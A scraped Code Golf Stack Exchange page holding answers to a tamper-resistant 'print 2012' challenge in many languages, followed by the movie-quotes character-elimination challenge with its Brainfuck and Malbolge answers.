"2012", b = "2012"; return a.equals(b) // 1 ? a // 2 : a.equals("2012") // 3 ? a // 4 : b; // 5 } public static void main(String[]a){ System.out.print(c()); } } ``` **Explanation:** 1. Without changing anything it will take the following path: 1 → 2 (and it will return `a`'s value of `2012`). 2. If the content of String `a` is modified in any way it will take the following path: 1 → 3 → 5 (and it will return `b`'s unchanged value of `2012`). 3. If the content of String `b` is modified in any way it will take the following path: 1 → 3 → 4 (and it will return `a`'s unchanged value of `2012`). 4. If `a.equals(b)` on @1 is modified to `a.equals(a)`, `b.equals(b)`, or `!a.equals(b)` it will still take the same following path: 1 → 2 (and it will return `a`'s unchanged value of `2012`). 5. If `a` on @2 is changed to `b` it will still take the following path: 1 → 2 (and it will return `b`'s unchanged value of `2012`). 6. If either `a` or `b` is changed to the opposite on the lines 3, 4 or 5 it will still take the following path: 1 → 2 (and it will return `a`'s unchanged value of `2012`) 7. If the content of the String on @3 is modified in any way it will still take the following path: 1 → 2 (and it will return `a`'s unchanged value of `2012`) 8. Changing `M` in `class M` or `a` in `main(String[]a)` to another valid character can be done without any changes to the functionality of the code. 9. Any other change will result in a Compile-error (excluding some of the enters/whitespaces, which can be removed/added). [Try all these modifications here, to verify they all still print 2012.](https://tio.run/##rZMxb4MwEIX3/AonE0gtajMWVRXeGFiablWHMzapU2Kn2CBVEb@dkgCJBAm1SxgA4yd/9453GyjgfkO/qipOQSkUARf7GUK7nKQ8RkqDrh@F5BRt6y1npTMu1u8fCNyDDKHVj9Js68lce7t6S6fCoSyBPNUR05@SOq7rXxOq42FBJClPODOQYhNpwjOlw6STvsnASo0N1KEoWKaNynhlOs8EDkUtgHGLLJaCGpfSyRtAYAGwL6nnt5zVtzYaTSBQ75@j7tq3@/C8WD48Lhd3pH3xs2MVCDz2nUOqHOK@wNNp1YgOn4hfDmiD4Axpt4bhMdjJ2mTYpfDa9RGm0LAhjUzwdg6TYUbmUzrZD7tdIolxSC4Nr33@iR2tP/vTpw3@pOGb0ciot2Z5nrp/00wa2c@kJWx@xVtZVb8) If you can find any way to break it following OP's rules I'd love to know, so I can think of something to fix it. Unlike most similar questions where a single char is modified, this question allows the basic structure of the programming language in question to be intact, so Java can finally ~~compete in one~~ enter one (let's face it, Java will -almost- never win anything on this SE xD). [Answer] ## Mathematica 24 this is a simple fix to @Dr.belisarius [answer](https://codegolf.stackexchange.com/a/4575/62269) *(unfortunately, I can't add comments yet*) ``` 2012//.Except@2012->2012 ``` Changing Replace (`/.`) to RepeatedReplace (`//.`) fixes the problem @Dillon found, since `///` is a syntax error. [Answer] # SmileBASIC ``` OPTION STRICT VAR A$=@2012 GOTO A$@2012 IF SHIFT(A$)THEN VAR B ?A$VAR C B=C ``` First, we enable strict mode. This forces you to declare all variables before using them, and prevents things like changing ?A$ to ?B$. Next, a string variable called "A$" is created, and the value is set to "@2012". To make sure the value of A$ hasn't been messed with, the program will try to jump to a label, and the only label in the program is @2012. Now, A$ is definitely "@2012", but before printing it, the @ needs to be removed. SHIFT() removes the first item in a string or array (just like pop(), but from the other end). To discard the value returned by SHIFT, it is passed to an IF/THEN block, which does nothing. Just in case someone tries to comment out that line, we declare a variable "B", which is used later. If the VAR is commented out, the last line will throw an Undefined variable error. Now, A$ is printed, and there's another VAR to prevent comments. The final line just makes sure the variables B and C have both been declared. [Answer] # Sinclair ZX81/Timex TS1000/1500 BASIC, 54 tokenized BASIC bytes used ``` 1 LET A$="2012" 2 PRINT "2012" AND A$="2012";"2012" AND A$<>"2012" ``` Regardless of the value in `A$` 2012 is still shown on the screen. I have used string literals because it's faster for writing to the screen (in BASIC at least) and also saves BASIC bytes. So `A$` can contain any string value possible on the ZX81 tokenized "one-touch" entry system. [Answer] # Rust, 105 bytes ``` fn main(){use std::io::{Write,stdout};stdout().write_all({let a=b"2012";if a==b"2012"{a}else{b"2012"}});} ``` [Try it online](https://tio.run/##NchBCoAgEEDRq4grhYhyqXSOlmE0gWAJOdJimLNbUa0@7x8lY63rLjYfdqWpZBAZF2tDspbGIyA0t1NBdm@Vbs9nTz5GRRFQ@GGWpuuNdGG98Ys8Q8xAH5m141ov) Most of the length comes from writing directly to stdout vs using the `print!` macro. Unfortunately, the format string in `print!("{}", x);` can be easily modified and is checked at compile time so you can't pass in the value as a string directly. [Answer] ## Tcl, 55 chars. ``` if {$a=={puts 2012}} [set a {puts 2012}] { puts 2012 #} ``` Check if the code is unmodified, then execute it, or print `2012`. I consider accessing a undefined variable as syntax error. ~~## Tcl, 138 Characters ``` set a {set a {$a};if {\$a=={$a}} {puts 2012}};if {[info ex a]&&$a=={set a {$a};if {\$a=={$a}} {puts 2012}}} [subst -noc $a] { puts 2012 #} ``` Ok, this is a quine variant: either the code is unmodified, then execute it, or simply print `2012` The last line is a little bit special: It is a comment, but the `}` closes the brace.~~ [Answer] # Lenguage, 176848577745260300319721504 bytes Not really fun though. No modification/edit a byte: [`----------[+>+++++<]>.--.+.+.+`](https://tio.run/##SypKzMxLK03O/v9fFw6ite20QcAm1k5PV1dPGwT//wcA) Add a byte: [`----------[+>+++++<]>.--.+.+.-`](https://tio.run/##SypKzMxLK03O/v9fFw6ite20QcAm1k5PV1dPGwh1//8HAA) Remove a byte: [`----------[+>+++++<]>.--.+.+<]`](https://tio.run/##SypKzMxLK03O/v9fFw6ite20QcAm1k5PV1dPWw/I@v8fAA) # JavaScript, 48 bytes ``` q="e=alert(2012)" q=="e=alert(2012)"?eval(q)+e:w ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNEts/ifmJNaVGJbUJSZV/K/0FYp1RYsoGFkYGikqcRVaIsuZJ9alpijUaipnWpV/v8/AA "JavaScript (V8) – Try It Online") [Answer] ## Haskell, 65 ``` import Data.List nub$filter(\x->x==2012||x==2012)([2012]++[2012]) ``` ## Perl, 84 ``` use strict;use English;$ARG= 2032;s/.*/2012/unless$ARG eq 2012;$SUBSEP=2012;print; ``` Failed approach : ``` use strict;use English;"2012 2012"=~ /2012|2012|2012/;print$MATCH||$MATCH; ``` [Answer] # [C# .NET](https://visualstudio.microsoft.com/), 83 bytes ``` class P{static void Main(){var q="2012";System.Console.Write(q=="2012"?q:"2012");}} ``` [Try Online](https://tio.run/##Sy7WTS5O/v8/OSexuFghoLq4JLEkM1mhLD8zRcE3MTNPQ7M6uLK4JDVXzzk/rzg/J1UvvCizJFVDycjA0EjJ1hZC20MoKwilaV1b@/8/AA) ]
[Question] [ ***Update:* The winner has been decided, but the challenge is not over!** Finally, nearly 3 months after the question first started, someone has remained the last answerer for more than a week! Congratulations to [jimmy23013](https://codegolf.stackexchange.com/users/25180/jimmy23013) with his [P1eq answer!](https://codegolf.stackexchange.com/a/42427/26997) There are still however 8 characters left: `48KSaclw`. If anyone is really ambitious they can keep on trying with those :D Thanks a ton to everyone who participated, especially those of you who kept the contest going so long with multiple answers, notably [KennyTM](https://codegolf.stackexchange.com/users/32353/kennytm) with a whopping 25 answers!! Also, thanks to anyone who kept the answer list up to date, it was a great help :) (especially since I've been away from SE for a couple months :P). --- ***Original Question:*** In 2005 the [American Film Institute](http://en.wikipedia.org/wiki/American_Film_Institute) produced [AFI's 100 Years...100 Movie Quotes](http://en.wikipedia.org/wiki/AFI%27s_100_Years...100_Movie_Quotes), a list of the best quotes in American cinema. Here they are listed exactly as they should be used in this challenge: ``` (answer 6) 1. "Frankly, my dear, I don't give a damn." - Rhett Butler (answer 7) 2. "I'm gonna make him an offer he can't refuse." - Vito Corleone (answer 5) 3. "You don't understand! I coulda had class. I coulda been a contender. I could've been somebody, instead of a bum, which is what I am." - Terry Malloy (answer 3) 4. "Toto, I've a feeling we're not in Kansas anymore." - Dorothy Gale 5. "Here's looking at you, kid." - Rick Blaine (answer 2) 6. "Go ahead, make my day." - Harry Callahan (answer 11) 7. "All right, Mr. DeMille, I'm ready for my close-up." - Norma Desmond (answer 8) 8. "May the Force be with you." - Han Solo (answer 12) 9. "Fasten your seatbelts. It's going to be a bumpy night." - Margo Channing (answer 13) 10. "You talking to me?" - Travis Bickle (answer 16) 11. "What we've got here is failure to communicate." - Captain (answer 15) 12. "I love the smell of napalm in the morning." - Lt. Col. Bill Kilgore (answer 4) 13. "Love means never having to say you're sorry." - Jennifer Cavilleri Barrett 14. "The stuff that dreams are made of." - Sam Spade (answer 18) 15. "E.T. phone home." - E.T. (answer 20) 16. "They call me Mister Tibbs!" - Virgil Tibbs 17. "Rosebud." - Charles Foster Kane (answer 10) 18. "Made it, Ma! Top of the world!" - Arthur "Cody" Jarrett (answer 17) 19. "I'm as mad as hell, and I'm not going to take this anymore!" - Howard Beale (answer 25) 20. "Louis, I think this is the beginning of a beautiful friendship." - Rick Blaine (answer 26) 21. "A census taker once tried to test me. I ate his liver with some fava beans and a nice Chianti." - Hannibal Lecter (answer 9) 22. "Bond. James Bond." - James Bond (answer 22) 23. "There's no place like home." - Dorothy Gale (answer 29) 24. "I am big! It's the pictures that got small." - Norma Desmond 25. "Show me the money!" - Rod Tidwell (answer 31) 26. "Why don't you come up sometime and see me?" - Lady Lou (answer 27) 27. "I'm walking here! I'm walking here!" - "Ratso" Rizzo (answer 14) 28. "Play it, Sam. Play 'As Time Goes By.'" - Ilsa Lund (answer 28) 29. "You can't handle the truth!" - Col. Nathan R. Jessup (answer 23) 30. "I want to be alone." - Grusinskaya (answer 30) 31. "After all, tomorrow is another day!" - Scarlett O'Hara (answer 1) 32. "Round up the usual suspects." - Capt. Louis Renault (answer 24) 33. "I'll have what she's having." - Customer (answer 36) 34. "You know how to whistle, don't you, Steve? You just put your lips together and blow." - Marie "Slim" Browning (answer 19) 35. "You're gonna need a bigger boat." - Martin Brody (answer 39) 36. "Badges? We ain't got no badges! We don't need no badges! I don't have to show you any stinking badges!" - "Gold Hat" (answer 40) 37. "I'll be back." - The Terminator (answer 33) 38. "Today, I consider myself the luckiest man on the face of the earth." - Lou Gehrig (answer 37) 39. "If you build it, he will come." - Shoeless Joe Jackson (answer 43) 40. "My mama always said life was like a box of chocolates. You never know what you're gonna get." - Forrest Gump (answer 34) 41. "We rob banks." - Clyde Barrow (answer 38) 42. "Plastics." - Mr. Maguire 43. "We'll always have Paris." - Rick Blaine (answer 49) 44. "I see dead people." - Cole Sear (answer 21) 45. "Stella! Hey, Stella!" - Stanley Kowalski (answer 32) 46. "Oh, Jerry, don't let's ask for the moon. We have the stars." - Charlotte Vale (answer 35) 47. "Shane. Shane. Come back!" - Joey Starrett (answer 42) 48. "Well, nobody's perfect." - Osgood Fielding III (answer 51) 49. "It's alive! It's alive!" - Henry Frankenstein (answer 41) 50. "Houston, we have a problem." - Jim Lovell (answer 45) 51. "You've got to ask yourself one question: 'Do I feel lucky?' Well, do ya, punk?" - Harry Callahan (answer 55) 52. "You had me at "hello."" - Dorothy Boyd (answer 46) 53. "One morning I shot an elephant in my pajamas. How he got in my pajamas, I don't know." - Capt. Geoffrey T. Spaulding (answer 44) 54. "There's no crying in baseball!" - Jimmy Dugan (answer 59) 55. "La-dee-da, la-dee-da." - Annie Hall (answer 60) 56. "A boy's best friend is his mother." - Norman Bates (answer 47) 57. "Greed, for lack of a better word, is good." - Gordon Gekko (answer 56) 58. "Keep your friends close, but your enemies closer." - Michael Corleone (answer 48) 59. "As God is my witness, I'll never be hungry again." - Scarlett O'Hara (answer 50) 60. "Well, here's another nice mess you've gotten me into!" - Oliver (answer 65) 61. "Say "hello" to my little friend!" - Tony Montana (answer 66) 62. "What a dump." - Rosa Moline (answer 52) 63. "Mrs. Robinson, you're trying to seduce me. Aren't you?" - Benjamin Braddock (answer 61) 64. "Gentlemen, you can't fight in here! This is the War Room!" - President Merkin Muffley (answer 68) 65. "Elementary, my dear Watson." - Sherlock Holmes (answer 64) 66. "Take your stinking paws off me, you damned dirty ape." - George Taylor (answer 53) 67. "Of all the gin joints in all the towns in all the world, she walks into mine." - Rick Blaine (answer 72) 68. "Here's Johnny!" - Jack Torrance (answer 71) 69. "They're here!" - Carol Anne Freeling (answer 73) 70. "Is it safe?" - Dr. Christian Szell (answer 54) 71. "Wait a minute, wait a minute. You ain't heard nothin' yet!" - Jakie Rabinowitz/Jack Robin (answer 77) 72. "No wire hangers, ever!" - Joan Crawford (answer 67) 73. "Mother of mercy, is this the end of Rico?" - Cesare Enrico "Rico" Bandello (answer 70) 74. "Forget it, Jake, it's Chinatown." - Lawrence Walsh (answer 74) 75. "I have always depended on the kindness of strangers." - Blanche DuBois (answer 78) 76. "Hasta la vista, baby." - The Terminator (answer 75) 77. "Soylent Green is people!" - Det. Robert Thorn (answer 76) 78. "Open the pod bay doors, HAL." - Dave Bowman (answer 80) 79. Striker: "Surely you can't be serious." Rumack: "I am serious...and don't call me Shirley." - Ted Striker and Dr. Rumack (answer 84) 80. "Yo, Adrian!" - Rocky Balboa (answer 81) 81. "Hello, gorgeous." - Fanny Brice (answer 83) 82. "Toga! Toga!" - John "Bluto" Blutarsky (answer 63) 83. "Listen to them. Children of the night. What music they make." - Count Dracula (answer 87) 84. "Oh, no, it wasn't the airplanes. It was Beauty killed the Beast." - Carl Denham (answer 88) 85. "My precious." - Gollum (answer 86) 86. "Attica! Attica!" - Sonny Wortzik (answer 57) 87. "Sawyer, you're going out a youngster, but you've got to come back a star!" - Julian Marsh (answer 82) 88. "Listen to me, mister. You're my knight in shining armor. Don't you forget it. You're going to get back on that horse, and I'm going to be right behind you, holding on tight, and away we're gonna go, go, go!" - Ethel Thayer (answer 58) 89. "Tell 'em to go out there with all they got and win just one for the Gipper." - Knute Rockne (answer 90) 90. "A martini. Shaken, not stirred." - James Bond (answer 85) 91. "Who's on first." - Dexter (answer 62) 92. "Cinderella story. Outta nowhere. A former greenskeeper, now, about to become the Masters champion. It looks like a mirac...It's in the hole! It's in the hole! It's in the hole!" - Carl Spackler (answer 69) 93. "Life is a banquet, and most poor suckers are starving to death!" - Mame Dennis (answer 89) 94. "I feel the need - the need for speed!" - Lt. Pete "Maverick" Mitchell and Lt. Nick "Goose" Bradshaw (answer 79) 95. "Carpe diem. Seize the day, boys. Make your lives extraordinary." - John Keating (answer 91) 96. "Snap out of it!" - Loretta Castorini (answer 92) 97. "My mother thanks you. My father thanks you. My sister thanks you. And I thank you." - George M. Cohan (answer 93) 98. "Nobody puts Baby in a corner." - Johnny Castle (answer 94) 99. "I'll get you, my pretty, and your little dog, too!" - Wicked Witch of the West (answer 95) 100. "I'm the king of the world!" - Jack Dawson ``` (Feel free to mark quotes as used.) There are 95 [printable ASCII](http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters) characters (hex codes 20 to 7E), that's pretty close to 100: ``` !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ``` In this challenge users will take turns writing programs that print one of the movie quotes using a new programming language and a smaller subset of printable ASCII each time. # How This Works I've already submitted [the first answer](https://codegolf.stackexchange.com/a/40563/26997) and I've labeled it 95 since I was allowed to use all 95 printable ASCII characters in my program. It is a Python program that prints the 100th quote, `"I'm the king of the world!" - Jack Dawson`, to stdout. The second person to answer needs to choose a new quote, a new programming language, and one of the 95 printable ASCII characters to exclude from their code. They must write a program without using this character that prints their chosen quote to stdout. They should mark their answer as 94 since they had 94 printable ASCII characters to work with (think of it like a countdown). The third person to answer must choose a quote and language that haven't been used in any previous answers (only 95 and 94 in this case), and a new character to forgo. They must not use this character or any previously forbidden characters in their code. They mark their answer as 93. This answering process continues like this until all printable ASCII characters are forbidden and someone gives the "1" answer, or much more likely, no one can figure out how to answer again. # Rules *(please read carefully)* It's important to understand that **only one person can answer at a time and each answer depends on the one before it.** There should never be two answers with the same number, quote, or programming language. There's bound to be clashing answers submitted at the same time, and that's ok. If that happens the person who technically answered later should quickly (like 10 min or less) delete their post or edit it so it becomes the next answer. Otherwise, **don't edit code unless truly necessary**. Editing posts to only fix formatting is encouraged. ### Specific Rules * **A user who just answered must wait at least an hour before answering again.** * A user may not answer twice in a row. * **The quote number you choose must not be more than 5 below your answer number.** For example, answer 90 can choose any unused quote from number 85 to 100. This leaves the better quotes for the harder answers. Other than this rule the quote numbering is irrelevant. * Programs may only contain tabs, newlines, and the printable ASCII character that are not forbidden so far. (Tabs and newlines are never forbidden.) * There is no program length limit, but there may not be more that 64 tabs or 64 newlines in your program. * Languages are considered distinct if they are commonly referred to by different names. Different versions of programming languages are not considered distinct. (Markup languages like HTML do count but full on programming languages are preferred.) Your language must have existed prior to the start of this contest. * If your language does not have stdout use some similar text output mechanism. * Your program should not take input or have unexpected side effects like creating files. **Please make sure your program is valid.** It should be able to run as a full program as is, not just in a [REPL](http://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop) environment. **Note that the "quote" you must output includes the quotation marks and the person who said it (but not the quote number).** Your program should solely produce your quote exactly as it appears in the list above (a leading/trailing newline is fine). # Formatting Please format your answers like this, `{stuff in curly braces}` needs to be replaced: ``` #{answer number}. {language}, uses no <code>{the forbidden character you just chose}</code> {program} Output is quote {quote number}: {program output, should be identical to quote} [Previously forbidden:]({url of previous answer (hit "share" just below it)}) <code>{the previous answerer's forbidden character followed by his previously forbidden list}</code> {anything else you wish to say} ``` The `<code>` tags can be replaced with backticks (```) as long as no backtick occurs within them. # Scoring The communal goal of this challenge is to keep answers coming for as long as possible. The official winner is the user who answers last, after a week of no additional answers. I will accept their last answer. # Answer List (newest first) > > 1. `4` [Progressive Unary](https://codegolf.stackexchange.com/a/125006/32353) > 2. `a` [Bueue](https://codegolf.stackexchange.com/a/124753/25180) > 3. `c` [Udage](https://codegolf.stackexchange.com/a/82421/32353) > 4. `S` [1L\_a105](https://codegolf.stackexchange.com/a/80902/25180) > 5. `w` [Binaryfuck](https://codegolf.stackexchange.com/a/80705/32353) > 6. `K` [Subskin](https://codegolf.stackexchange.com/a/66836/25180) > 7. `l` [23](https://codegolf.stackexchange.com/a/55678/32353) > > > > > --- > > > 8. `n` [P1eq](https://codegolf.stackexchange.com/a/42427/21487) > 9. `t` [Addleq](https://codegolf.stackexchange.com/a/42292/2946) > 10. `9` [x86 Machine Code](https://codegolf.stackexchange.com/a/42250/25315) > 11. `r` [BSM](https://codegolf.stackexchange.com/a/42214/32353) > 12. `D` [ShaFuck 0.2](https://codegolf.stackexchange.com/a/42121/20506) > 13. `u` [Villmark](https://codegolf.stackexchange.com/a/42113/25180) > 14. `O` [PDP-11 machine code](https://codegolf.stackexchange.com/a/42089/25315) > 15. `f` [ProgFk](https://codegolf.stackexchange.com/a/42068/32139) > 16. `i` [NUMPAD](https://codegolf.stackexchange.com/a/42037/32139) > 17. `H` [Tri](https://codegolf.stackexchange.com/a/42021/32139) > 18. `2` [ferNANDo](https://codegolf.stackexchange.com/a/42014/4098) > 19. `P` [Pointy](https://codegolf.stackexchange.com/a/42001) > 20. `m` [Subleq](https://codegolf.stackexchange.com/a/41976/25180) > 21. `G` [FlogScript](https://codegolf.stackexchange.com/a/41973/25180) > 22. `?` [Nqubl](https://codegolf.stackexchange.com/a/41970/25180) > 23. `%` [Glypho](https://codegolf.stackexchange.com/a/41965/194) > 24. `!` [3var](https://codegolf.stackexchange.com/a/41961/32139) > 25. `q` [ETA](https://codegolf.stackexchange.com/a/41942/32139) > 26. `j` [BrainSpace 1.0](https://codegolf.stackexchange.com/a/41935/32353) > 27. `V` [Insomnia](https://codegolf.stackexchange.com/a/41931/32353) > 28. ``` [asdf](https://codegolf.stackexchange.com/a/41926/32139) > 29. `6` [Lazy K](https://codegolf.stackexchange.com/a/41887/32139) > 30. `C` [!Py!Batch 1.5](https://codegolf.stackexchange.com/a/41869/32139) > 31. `T` [Fuckfuck](https://codegolf.stackexchange.com/a/41834/32353) > 32. `F` [PoGo](https://codegolf.stackexchange.com/a/41821/32139) > 33. `R` [Golunar](https://codegolf.stackexchange.com/a/41816/25180) > 34. `b` [6502 machine code + Apple II System Monitor](https://codegolf.stackexchange.com/a/41812/25180) > 35. `Y` [Headsecks](https://codegolf.stackexchange.com/a/41802/788) > 36. `I` [BRB](https://codegolf.stackexchange.com/a/41796/788) > 37. `U` [Braincrash](https://codegolf.stackexchange.com/a/41794/788) > 38. `Z` [Ecstatic](https://codegolf.stackexchange.com/a/41755/788) > 39. `M` [Farm](https://codegolf.stackexchange.com/a/41686/788) > 40. `A` [Enema](https://codegolf.stackexchange.com/a/41678/788) > 41. `L` [ADJUST](https://codegolf.stackexchange.com/a/41640/788) > 42. `$` [Beatnik](https://codegolf.stackexchange.com/a/41635/788) > 43. `N` [Rebmu](https://codegolf.stackexchange.com/a/41604/788) > 44. `g` [Dupdog](https://codegolf.stackexchange.com/a/41591/788) > 45. `B` [Gammaplex](https://codegolf.stackexchange.com/a/41569/788) > 46. `J` [Fuck4](https://codegolf.stackexchange.com/a/41542/788) > 47. `5` [A0A0](https://codegolf.stackexchange.com/a/41534/788) > 48. `W` [gs2](https://codegolf.stackexchange.com/a/41513/788) > 49. `:` [l33t](https://codegolf.stackexchange.com/a/41502/788) > 50. `h` [Tonoco](https://codegolf.stackexchange.com/a/41414/788) > 51. `E` [Malbolge](https://codegolf.stackexchange.com/a/41341/788) > 52. `k` [D1ffe7e45e](https://codegolf.stackexchange.com/a/41325/788) > 53. `1` [evil](https://codegolf.stackexchange.com/a/41303/788) > 54. `Q` [CaneCode](https://codegolf.stackexchange.com/a/40925/788) > 55. `d` [Grass](https://codegolf.stackexchange.com/a/40900/788) > 56. `#` [URSL](https://codegolf.stackexchange.com/a/40875/788) > 57. `|` [Burlesque](https://codegolf.stackexchange.com/a/40822/788) > 58. `x` [Emmental](https://codegolf.stackexchange.com/a/40813/788) > 59. `~` [Applesoft BASIC](https://codegolf.stackexchange.com/a/40807/788) > 60. `^` [Forth](https://codegolf.stackexchange.com/a/40775/788) > 61. `7` [80386 machine code + DOS](https://codegolf.stackexchange.com/a/40771/788) > 62. `_` [Argh!](https://codegolf.stackexchange.com/a/40770/788) > 63. `v` [Rexx](https://codegolf.stackexchange.com/a/40755/788) > 64. `}` [AlphaBeta](https://codegolf.stackexchange.com/a/40718/788) > 65. `o` [Super Stack!](https://codegolf.stackexchange.com/a/40686/788) > 66. `e` [Pyth](https://codegolf.stackexchange.com/a/40680/788) > 67. `z` [Plain TeX](https://codegolf.stackexchange.com/a/40674/788) > 68. `>` [WASD](https://codegolf.stackexchange.com/a/40667/788) > 69. `]` [POSIX shell](https://codegolf.stackexchange.com/a/40664/788) > 70. `&` [Gibberish](https://codegolf.stackexchange.com/a/40642/8478) > 71. `/` [GolfScript](https://codegolf.stackexchange.com/a/40634/8478) > 72. `*` [x86\_64 assembly](https://codegolf.stackexchange.com/a/40622/788) > 73. `0` [AppleScript](https://codegolf.stackexchange.com/a/40614/788) > 74. `X` [Deadfish~](https://codegolf.stackexchange.com/a/40612/788) > 75. `,` [Spoon](https://codegolf.stackexchange.com/a/40610/788) > 76. `-` [oOo CODE](https://codegolf.stackexchange.com/a/40609/788) > 77. `=` [J](https://codegolf.stackexchange.com/a/40608/788) > 78. `@` [Mathematica](https://codegolf.stackexchange.com/a/40606/788) > 79. `.` [Perl](https://codegolf.stackexchange.com/a/40604/788) > 80. `+` [DNA#](https://codegolf.stackexchange.com/a/40597/788) > 81. `<` [Pi](https://codegolf.stackexchange.com/a/40595/788) > 82. `)` [Postscript](https://codegolf.stackexchange.com/a/40593/788) > 83. `[` [ABC](https://codegolf.stackexchange.com/a/40589/788) > 84. `s` [dc](https://codegolf.stackexchange.com/a/40587/788) > 85. `{` [HTML](https://codegolf.stackexchange.com/a/40586/788) > 86. `(` [Unary](https://codegolf.stackexchange.com/a/40584/788) > 87. `;` [Ook!](https://codegolf.stackexchange.com/a/40583/788) > 88. `'` [CJam](https://codegolf.stackexchange.com/a/40582/788) > 89. [PHP](https://codegolf.stackexchange.com/a/40579/788) > 90. `"` [Brainfuck](https://codegolf.stackexchange.com/a/40576/788) > 91. `\` [Marbelous](https://codegolf.stackexchange.com/a/40570/788) > 92. `3` [C++](https://codegolf.stackexchange.com/a/40569/788) > 93. `y` [Ruby](https://codegolf.stackexchange.com/a/40567/788) > 94. `p` [JavaScript](https://codegolf.stackexchange.com/a/40566/788) > 95. [Python](https://codegolf.stackexchange.com/a/40563/788) > > > (Feel free to edit if incorrect or out of date) **[This question works best when you sort by "oldest".](https://codegolf.stackexchange.com/questions/40562/asciis-95-characters-95-movie-quotes-testing-new-challenge-type?answertab=oldest#tab-top)** *NOTE: Like my [last question](https://codegolf.stackexchange.com/q/40376/26997), this is a test of a new challenge type where each answer depends on the last and increases in difficulty. Come to [chat](http://chat.stackexchange.com/rooms/18189/discussion-for-evolution-of-hello-world) or [meta](http://meta.codegolf.stackexchange.com/q/2415/26997) to discuss either question or the idea in general.* [Answer] # 90. Brainfuck, uses no `"` ``` ++++ ++++ [>+>++>+++>++++>+ ++++>++++++>+++++++ >+++++++ +>++++++ +++>++++++++++>+ ++ ++ ++++++>++++ +++ +++ ++> +++ +++ ++++ +++>++++++++ +++ +++ >++ +++ ++++ ++ ++ ++ >+++ ++++ ++++ ++++ +<<< << < << <<<< <<<< -]>> >>++ .--> >>>+.-<<<<.> >>>> >>>> >--- .+++ <<+. ->>+ +.-- >--- -.++ ++<< +.- >-- .++ <+. -<<< <<< <-- .++ <<. >>>>> >+++.--- >>>.<+.- >+++.-- ---- .+++ >--.++<<< <<<<<----.++++<<.>>>>>>>>>>--.+.+>----.++++<<<<<<<<<<<.>>>>>>>>>>+++.--->----. ++++<<+.->++..--<---.-.++++<<<<<<<--.++<<++.--.>>---.+++<<.>>>>>++.-->>>+.->>- --.+++<---.+++>+++.---<<<<<<<<<<.>>>>++.-->>>>>>-.-.++<----.++++<<<<<<<<<<<<<. ``` Output is quote 90: ``` "A martini. Shaken, not stirred." - James Bond ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40570/16120) `py3\` Someone had to do it before any of `.+-` is forbidden. Try it here : <http://ideone.com/dlu8VE> [Answer] # 51. [Malbolge](http://esolangs.org/wiki/malbolge) (uses no `E`) (Newlines are just for clarification and not part of the source.) ``` ba`r:?!!6l:jVVw5ut2rqML:nllHFFhDfAcR?P`ut:rqZYtm2qCRhPPNNihgf%qFF!!2AA??TSwutOTr55PImGFKJCBfFc cbONq9!!6Y4W8hCf4ttOONL:JlHGFFDgfAS?b``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?!!6l:jihwfut?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??gfw::tr`64nn!ljjihffw? ct``:?KJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUZSRWPONMRKPO!ljjihffw? ct``:?KJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUZSRWPONMRKPO!ljjihffw? ct``:?KJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUZSRWPONMRKPO!ljjihffw? ct``:?KJZHGWWDUBRRPONNMKnlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!DBBWVUZSRWPONMRKPO!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? ct``:?!!6l:jWDUBRR?rr`L:nlljj!hffTc!?``u::rw6ut4!2jinm?Ojcu:`rqc5!`lAj??ZSRWPOr`64nn!ljjihffw? 